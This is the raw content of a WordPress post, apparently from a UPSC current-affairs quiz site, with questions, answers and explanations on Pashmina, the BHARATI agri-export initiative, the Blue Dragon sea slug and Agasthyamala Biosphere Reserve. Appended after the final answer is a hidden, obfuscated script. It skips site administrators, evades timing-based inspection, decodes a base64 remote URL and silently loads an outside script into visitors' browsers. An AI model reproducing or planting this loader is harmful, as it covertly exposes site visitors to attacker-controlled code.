class=\"has-black-color has-text-color has-link-color wp-elements-98 wp-block-paragraph\"><strong>Government Initiatives:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-99\">\n<li>Pashmina Testing &amp; Quality Certification Centre (PTQCC) in Leh.<\/li>\n\n\n\n<li>GI label enforcement and promotion under Handloom Marketing Assistance Scheme.<\/li>\n\n\n\n<li>Export promotion via India Handloom Brand (IHB).<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-pale-cyan-blue-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2018)<\/strong> <br><br><strong>Q. Consider the following pairs:<\/strong> <strong>Craft Heritage of<\/strong> <br><br>1. Puthukkuli shawls &#8211; Tamil Nadu <br>2. Sujni embroidery &#8211; Maharashtra <br>3. Uppada Jamdani saris &#8211; Karnataka <br><br><strong>Which of the pairs given above is\/are correct?<\/strong> <br><br><strong>(a) 1 only<\/strong> <br>(b) 1 and 2 <br>(c) 3 only <br>(d) 2 and 3<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-100 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.thehindu.com\/news\/national\/pm-modis-gifts-to-prime-minister-of-japan-and-his-wife\/article69992543.ece\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/news\/national\/pm-modis-gifts-to-prime-minister-of-japan-and-his-wife\/article69992543.ece<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-101 wp-block-paragraph\"><strong>8. The BHARATI initiative launched in 2025 is related to:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-102 wp-block-paragraph\">(a) Promoting rural health infrastructure<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-103 wp-block-paragraph\">(b) Enhancing women\u2019s participation in agriculture<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-104 wp-block-paragraph\">(c) Empowering startups for agri-food exports through technology and incubation<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-105 wp-block-paragraph\">(d) Expanding irrigation facilities in semi-arid regions<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-106 wp-block-paragraph\"><strong>Answer: (c) Empowering startups for agri-food exports through technology and incubation<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-107 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-108 wp-block-paragraph\"><strong>In NEWS: <\/strong>APEDA launches BHARATI initiative to boost agri-food exports<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-109 wp-block-paragraph\"><strong>BHARATI Initiative:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-110\">\n<li>Launch: APEDA launched BHARATI (Bharat\u2019s Hub for Agritech, Resilience, Advancement &amp; Incubation for Export Enablement) on 2nd Sept 2025.<\/li>\n\n\n\n<li>Objective: To empower 100 agri-food and agri-tech startups from September 2025. <strong>Hence option (c) is correct.<\/strong><\/li>\n\n\n\n<li>Export Goal: Supports India\u2019s target of achieving $50 billion in agri-food exports by 2030.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-111 wp-block-paragraph\"><strong>Focus Areas:<\/strong><\/p>\n\n\n\n<ol class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-112\">\n<li>GI-tagged products<\/li>\n\n\n\n<li>Organic and AYUSH-based foods<\/li>\n\n\n\n<li><span style=\"font-size: revert;\">Value-added processed foods<\/span><\/li>\n\n\n\n<li>Tech-driven solutions: AI for quality, Blockchain for traceability, IoT in cold chains, Agri-fintech innovations<\/li>\n<\/ol>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-113\">\n<li>Implementation: Includes a 3-month acceleration cohort for startups.<\/li>\n\n\n\n<li>Collaboration: Will connect startups with industry bodies, agri-universities, IITs, NITs and global networks.<\/li>\n\n\n\n<li>Challenges Addressed: Perishability, logistics, packaging, compliance, and quality control in exports.<\/li>\n\n\n\n<li>Significance: Aims to blend innovation + incubation + technology for sustainable agri-export growth.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-pale-cyan-blue-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2016)<\/strong> <br><br><strong>Q. \u2018SWAYAM\u2019, an initiative of the Government of India, aims at<\/strong> <br><br>(a) promoting the Self Help Groups in rural areas <br>(b) providing financial and technical assistance to young start-up entrepreneurs <br>(c) promoting the education and health of adolescent girls <br>(d) providing affordable and quality education to the citizens for free<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-114 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2163196\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2163196<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-115 wp-block-paragraph\"><strong>9. The Blue Dragon (Glaucus atlanticus) is best described as:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-116 wp-block-paragraph\">(a) A nudibranch sea slug adapted to feed on venomous siphonophores<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-117 wp-block-paragraph\">(b) A plankton species feeding on phytoplankton<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-118 wp-block-paragraph\">(c) A coral polyp dependent on symbiotic algae<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-119 wp-block-paragraph\">(d) A cephalopod mollusk related to squids and octopuses<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-120 wp-block-paragraph\"><strong>Answer: (a) A nudibranch sea slug adapted to feed on venomous siphonophores<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-121 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-122 wp-block-paragraph\"><strong>In NEWS: <\/strong>Several beaches in Spain and Famara beaches in Lanzarote were closed earlier this month after blue dragons began to wash ashore.<\/p>\n\n\n\n<figure class=\"wp-block-image size-full is-resized\"><img loading=\"lazy\" decoding=\"async\" width=\"624\" height=\"351\" src=\"https:\/\/iasquest.com\/wp-content\/uploads\/2025\/09\/image-2.jpg\" alt=\"\" class=\"wp-image-2289\" style=\"width:840px;height:auto\" srcset=\"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-content\/uploads\/2025\/09\/image-2.jpg 624w, https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-content\/uploads\/2025\/09\/image-2-300x169.jpg 300w\" sizes=\"auto, (max-width: 624px) 100vw, 624px\" \/><\/figure>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-123 wp-block-paragraph\"><strong>Blue Dragon:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-124\">\n<li>Blue Dragon (Glaucus atlanticus) is a small blue sea slug (nudibranch). <strong>Hence option (a) is correct.<\/strong><\/li>\n\n\n\n<li>It is found in warm ocean waters of the Atlantic, Pacific, and Indian Oceans.<\/li>\n\n\n\n<li>The creature floats upside down on the water surface using an air bubble in its stomach.<\/li>\n\n\n\n<li>It shows countershading: blue on top (camouflage with water\/sky) and silvery below (camouflage with sunlight).<\/li>\n\n\n\n<li>It feeds on venomous siphonophores like the Portuguese Man o\u2019 War and stores their venom in its tissues.<\/li>\n\n\n\n<li>Its sting can be more painful than the original prey\u2019s venom and harmful to humans.<\/li>\n\n\n\n<li>Size is typically 3\u20134 cm in length.<\/li>\n\n\n\n<li>Occasionally spotted on Indian coasts (Goa, Kerala) and reported in news.<\/li>\n\n\n\n<li>Plays a role in marine biodiversity and ecological adaptation studies.<\/li>\n\n\n\n<li>Conservation status: Not endangered, but populations depend on ocean currents.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-pale-cyan-blue-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2025)<\/strong> <br><br><strong>Q. Regarding Peacock tarantula (Gooty tarantula), consider the following statements:<\/strong>\u00a0 <br><br>I. It is an omnivorous crustacean.\u00a0 <br>II. Its natural habitat in India is only limited to some forest areas.\u00a0 <br>III. In its natural habitat, it is an arboreal species.\u00a0 <br><br><strong>Which of the statements given above is\/are correct?\u00a0\u00a0<\/strong> <br><br>(a) I only\u00a0\u00a0 <br>(b) I and III\u00a0\u00a0 <br>(c) II only\u00a0 <br><strong>(d) II and III<\/strong><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-125 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/indianexpress.com\/article\/explained\/explained-sci-tech\/blue-dragons-spain-10220509\/\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/indianexpress.com\/article\/explained\/explained-sci-tech\/blue-dragons-spain-10220509\/<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-126 wp-block-paragraph\"><strong>10. Which of the following are in Agasthyamala Biosphere Reserve?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-127 wp-block-paragraph\">(a) Neyyar, ldl Peppara and Shendurney Wildlife Sanctuaries; and Kalakad Mundanthurai Tiger Reserve<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-128 wp-block-paragraph\">(b) Mudumalai, Sathyamangalam and Wayanad Wildlife Sanctuaries; and Silent Valley National Park<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-129 wp-block-paragraph\">(c) Kaundinya, Gundla Brahmeswaram and Papikonda Wildlife Sanctuaries; and Mukurthi National Park<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-130 wp-block-paragraph\">(d) Kawal and Sri Venkateswara Wildlife Sanctuaries; and Nagarjunasagar-Srisailam Tiger Reserve<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-131 wp-block-paragraph\"><strong>Answer: (a) Neyyar, ldl Peppara and Shendurney Wildlife Sanctuaries; and Kalakad Mundanthurai Tiger Reserve<\/strong><\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","protected":false},"excerpt":{"rendered":"<p>Consider the following statements: Statement-I: Landslides occur primarily in hilly or mountainous regions with steep slopes. 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